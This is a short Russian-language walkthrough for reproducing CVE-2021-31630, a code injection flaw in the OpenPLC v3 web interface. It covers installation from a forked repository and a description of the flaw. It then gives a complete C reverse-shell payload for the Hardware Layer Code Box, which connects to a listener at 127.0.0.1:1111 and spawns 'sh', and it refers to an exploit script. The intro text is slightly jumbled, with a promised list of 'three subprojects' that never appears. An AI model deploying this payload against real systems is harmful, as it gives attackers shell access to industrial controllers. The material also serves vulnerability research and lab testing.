
To reproduce CVE-2021-31630
OpenPLC — это программируемый логический контроллер с открытым исходным кодом, основанный на простом в использовании программном обеспечении. Мы стремимся предоставить недорогое промышленное решение для автоматизации и исследований. OpenPLC использовался во многих научных статьях в качестве среды для исследований в области промышленной кибербезопасности, поскольку это единственный контроллер, предоставляющий полный исходный код. Проект OpenPLC включает три подпроекта:
mkdir /opt/PLC
cd /opt/PLC
git clone https://github.com/tranquac/OpenPLC_v3.git
cd OpenPLC_v3
./install.sh [platform]
Где [platform] может быть:
win - Установить OpenPLC на Windows через Cygwin
linux - Установить OpenPLC на дистрибутив Linux на основе Debian
docker - Используется Dockerfile (т.е. не вызывает sudo)
rpi - Установить OpenPLC на Raspberry Pi
custom - Пропускает установку всех конкретных пакетов и пытается установить OpenPLC, предполагая, что ваша система уже имеет все зависимости. Эта опция может быть полезна, если вы пытаетесь установить OpenPLC на неподдерживаемую платформу Linux или вручную установили все зависимости заранее.
CVE-2021-31630 — это уязвимость типа code/command injection на веб-сервере OpenPLC (версия v3 широко используется сообществом). Ошибка находится в функции, позволяющей загружать/редактировать код в интерфейсе /hardware (Hardware Layer Code Box), где входные данные не фильтруются/санируются должным образом перед обработкой на стороне сервера, что приводит к возможности выполнения кода с правами процесса веб-сервера. Уязвимость была обнародована в 2021 году и имеет высокую степень серьезности в общедоступных базах данных уязвимостей.
Техническое описание (на уровне защиты): веб-интерфейс принимает фрагмент «hardware layer code», введенный пользователем. Эти данные затем обрабатываются серверными компонентами, которые могут компилировать/нормализовать или помещать в контекст команды без выполнения проверки, фильтрации специальных символов или строгих ограничений. При определенных условиях (например, данные добавляются в строку системной команды или напрямую передаются в функцию обработки кода) злоумышленник может вставить управляющие фрагменты, изменяющие поток выполнения.
#include "ladder.h"
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int ignored_bool_inputs[] = {-1};
int ignored_bool_outputs[] = {-1};
int ignored_int_inputs[] = {-1};
int ignored_int_outputs[] = {-1};
void initCustomLayer(){}
void updateCustomIn(){}
void updateCustomOut()
{
int port = 1111;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"sh", NULL};
execvp("sh", argv);
return 0;
}
Эксплойт: cve-2021-31630.py